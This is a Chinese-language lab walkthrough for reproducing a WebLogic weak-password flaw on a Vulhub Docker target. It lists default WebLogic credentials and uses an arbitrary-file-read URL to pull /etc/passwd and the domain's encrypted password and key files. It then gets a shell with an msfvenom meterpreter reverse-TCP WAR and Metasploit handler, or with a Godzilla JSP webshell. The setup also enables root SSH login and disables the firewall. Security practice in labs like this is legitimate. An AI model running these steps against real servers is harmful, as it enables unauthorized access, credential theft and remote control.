环境
在复现weblogic弱密码的漏洞前,得先查看电脑内是否存在这些环境,如果没有请下载或配置这些环境。
1. vulhub
Vulhub是一个基于docker
和docker-compose
的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。
官方仓库链接 :vulhub/vulhub: Pre-Built Vulnerable Environments Based on Docker-Compose (github.com)
官方文档链接:Vulhub - Docker-Compose file for vulnerability environment
2. Docker
Docker是一个开源的应用容器引擎。
它允许开发者将应用及其依赖打包到一个轻量级、可移植的容器中,然后发布到任何流行的Linux或Windows操作系统上。Docker容器的设计旨在提高自动化、性能和安全性,它们通过沙箱机制实现相互隔离,且启动迅速,资源需求低。
Orbstack 「MacOS」
由于笔者用的电脑为Mac系统,所以在此推荐一款软件,能够更快速的去打开、运行一个Docker容器。
官方网站:OrbStack · Fast, light, simple Docker & Linux on macOS
同时,我们可以采用两种方式去下载,看各位喜欢哪种方式了。
下载完后,我们打开这个软件,并在命令行中输入docker version
命令,判断是否成功安装。
这样一来,我们就拥有了Docker环境。
windows
在安装Docker之前,一定要先看电脑里是否安装了WSL,没有安装的话再根据官方文档安装一下。
接着再来看下这篇微软的官方文章及安装教程:WSL 上的 Docker 容器入门 | Microsoft Learn
之后下载安装即可。
如果出现安装完Docker Desktop
后,拉取镜像缓慢的问题,请搜索「docker desktop设置国内镜像地址」。
以 Orbstack
软件为🌰:
3. Docker Compose
Mac系统
Mac系统,请用如下命令进行下载。 (ps: 由于很早之前安装的环境,忘了是否自带 Docker Compose 了)
bash
curl -L "https://github.com/docker/compose/releases/latest/download/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
之后进入 /usr/local/bin
这个文件夹内,通过命令给予可执行权限:
bash
chmod +x docker-compose
最后通过命令,查看是否安装成功.
windows系统
下载链接: Releases · docker/compose (github.com)
下载一个适合自己电脑的版本,放置随便一个文件夹下,并对其配置环境变量即可。
3. kali linux
Kali Linux是基于Debian的Linux发行版。其内部预装了许多渗透测试软件,包括nmap 、Wireshark 、John the Ripper,以及Aircrack-ng等。是一款专门设计用于数字取证和渗透测试的专业级Linux操作系统。
下载
下载地址:Get Kali | Kali Linux。
之后选择一个适合自己的版本,下载就好了。
当然,由于版本过于新,笔者建议在下载一个老版本的kali
镜像,比如:2021
版本。
通过过往kali镜像地址,可以下载一个老版本的镜像,笔者这里选择的是:kali-2021.4
版本。
选择合适的下载即可。
安装
以MacOS Arm架构为例,使用软件parallels desktop
导入镜像文件。
选中自己新下载好的镜像,然后继续安装。
选择图形化安装。
接下来就不用说了,直接无脑中文。
地区选择中国。
键盘选择汉语。
之后继续下一步。
主机名直接设置成kali
就好。
配置网络这里笔者直接用localhost
了。
创建非root用户,随便起个名字。
创建密码。
剩下的就是自己安装配置了。
选择结束分区设定并将修改写入磁盘
,继续。
接着就开始安装了:
选择第一个回车就好
输入设置的账号密码后就进入到了系统中,然后我们试着去修改root的密码。
命令:
sudo passwd root
设置完root账号密码后,登陆root账号看一下是否成功。
ssh远程连接
-
禁用防火墙
ufw disbale
-
永久禁用:
systemctl disable ufw
可能最开始并没有
ufw
这个,需要自己进行下载一下,也可以输入ufw
,没有的话下载一个即可。 -
启动ssh
systemctl start ssh
-
自启动ssh
systemctl enable ssh
-
修改配置文件
vi /etc/ssh/sshd_config
添加:PermitRootLogin yes
保存退出。
-
重新启动ssh
service ssh restart
通过ssh工具,即可成功连接。
复现
1.搭建靶场
看到这里,默认上述环境皆已经搭建完毕,也已经存在了上述这些环境并且已经开启了Orbstack
或者Docker desktop
。
通过git
下载这个仓库后,进入这个vulhub
文件夹下内的weblogic
下的weak_password
,通过命令docker-compose up -d
启动这个weak_password
靶场。
注意:第一次构建的话会很慢,会下载很多东西,这是正常现象。
接下来,继续通过命令查看端口信息 docker-compose ps
能看到实际上是占用7001
端口的,那么就在浏览器中输入地址查看下是否搭建成功:
或者可以根据自己本机ip,在浏览器下通过该ip访问:
结果都是一样的
2.dirsearch
dirsearch 是一个命令行工具,主要用于目录暴力破解和网络内容发现。 那么,打开kali linux
,并输入dirsearch,第一次输入命令时会让下载这个,根据提示apt install
就好了。
之后,通过命令尝试暴力破解下该地址。
bash
dirsearch -u "地址"
结果已经扫出来了,根据判断,直接在url
上拼接个console
。
会自动重定向到这个地址/console/login/LoginForm.jsp
, 显而易见,登陆页面出现了。
3.登陆
漏洞描述:利用常用弱口令暴力破解进入后台 附weblogic常用弱口令:
makefile
system:password
weblogic:weblogic
admin:secruity
joe:password
mary:password
system:sercurity
wlcsystem: wlcsystem
weblogic:Oracle@123
之前通过dirsearch
破解出来了其他路径,咱可以尝试下都是啥东西,咱这里呢,笔者只尝试了/hello
路径。
实际上,这里会存在一个任意文件读取漏洞
,这个漏洞啊可以读取服务器任意文件。在读取到密钥和密码密文以后,可以解密出后台密码。
bash
http://ip:7001/hello/file.jsp?path=/etc/passwd
之后就会把/etc/passwd
下载出来,就比如,这样:
再然后,我们就得需要用Bp「burpsuite」
软件去repeater
重复发起请求了。
ruby
密文绝对路径:/root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat
相对路径:security/SerializedSystemIni.dat
密钥绝对路径: /root/Oracle/Middleware/user_projects/domains/base_domain/config/config.xml
相对路径:config/config.xml
把这俩绝对路径搞里头,替换/etc/passwd
,发送。
因为使用的为MAC电脑,可能由于不适配中文字体?导致出现了这样的乱码,那么只能从Hex文件下手了,虽然可能会有一丢丢的麻烦。
点击后是这个样子的,接着我们从这个看起来是ù
的字符开始,用鼠标划到最后,右键保存。
保存后,我们用软件打开,结果如下:
明显看着不是很正确,毕竟前面有2行空格,那么就想个办法去掉空格好了。
重新在Bp
内看这个Hex文件,想要去掉空格的话,是不是只需要从后面保存文件就行了呢,这个需要咱一点一点实验。
复制到文件后,并用软件打开,结果如下:
没有空格了,可能这个是正确的,但是请多尝试几次,有可能会出现字节长度不一致的问题导致用一剑破解密码失败。
上述工作完成后,我们用/root/Oracle/Middleware/user_projects/domains/base_domain/config/config.xml
去拿到密钥。
使用一剑
把文件以及密钥搞里头。
密码就破解出来了,再根据之前weblogic常用弱口令的账号,尝试一下是否能够进去。
能够看到已经成功登陆到后台了。
4.getshell
1. 第一种方法
注意:「可能需要kali linux 2021版本以下」,因为2023版本笔者并没有实现出来。
通过命令生成一个war包
msfvenom -p java/meterpreter/reverse_tcp lhost=本机kali虚拟机ip lport=4444 -f war -o java.war
然后把文件下载到本地,之后还是在kali虚拟机下msfconsole
配置。
bash
use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set LHOST kali虚拟机ip
set LPORT 4444
run
之后回到后台,把刚才生成的war包安装进去。
然后再下一步
一直下一步,最后点击完成。
最后,去浏览器url地址访问一下这个路径,看下能不能getshell。
http://ip/java
回到kali,msfsoncole上,已经成功了。
2. 第二种方法
这种方式需要生成一个jsp,然后getshell。 因为笔者2023kali版本不行,于是最开始用的就是第二种办法。
这里选择使用BeichenDream/Godzilla: 哥斯拉 (github.com)
先生成一个jsp文件:
保存后打开文件所在位置,然后压缩成zip文件,并更名后再更改后缀为war。
之后还是之前的方式去上传安装。 完成后还是打开哥斯拉
,getshell
点击测试连接,会出现success的alert,代表我们已经成功了。之后再点击添加。
大功告成!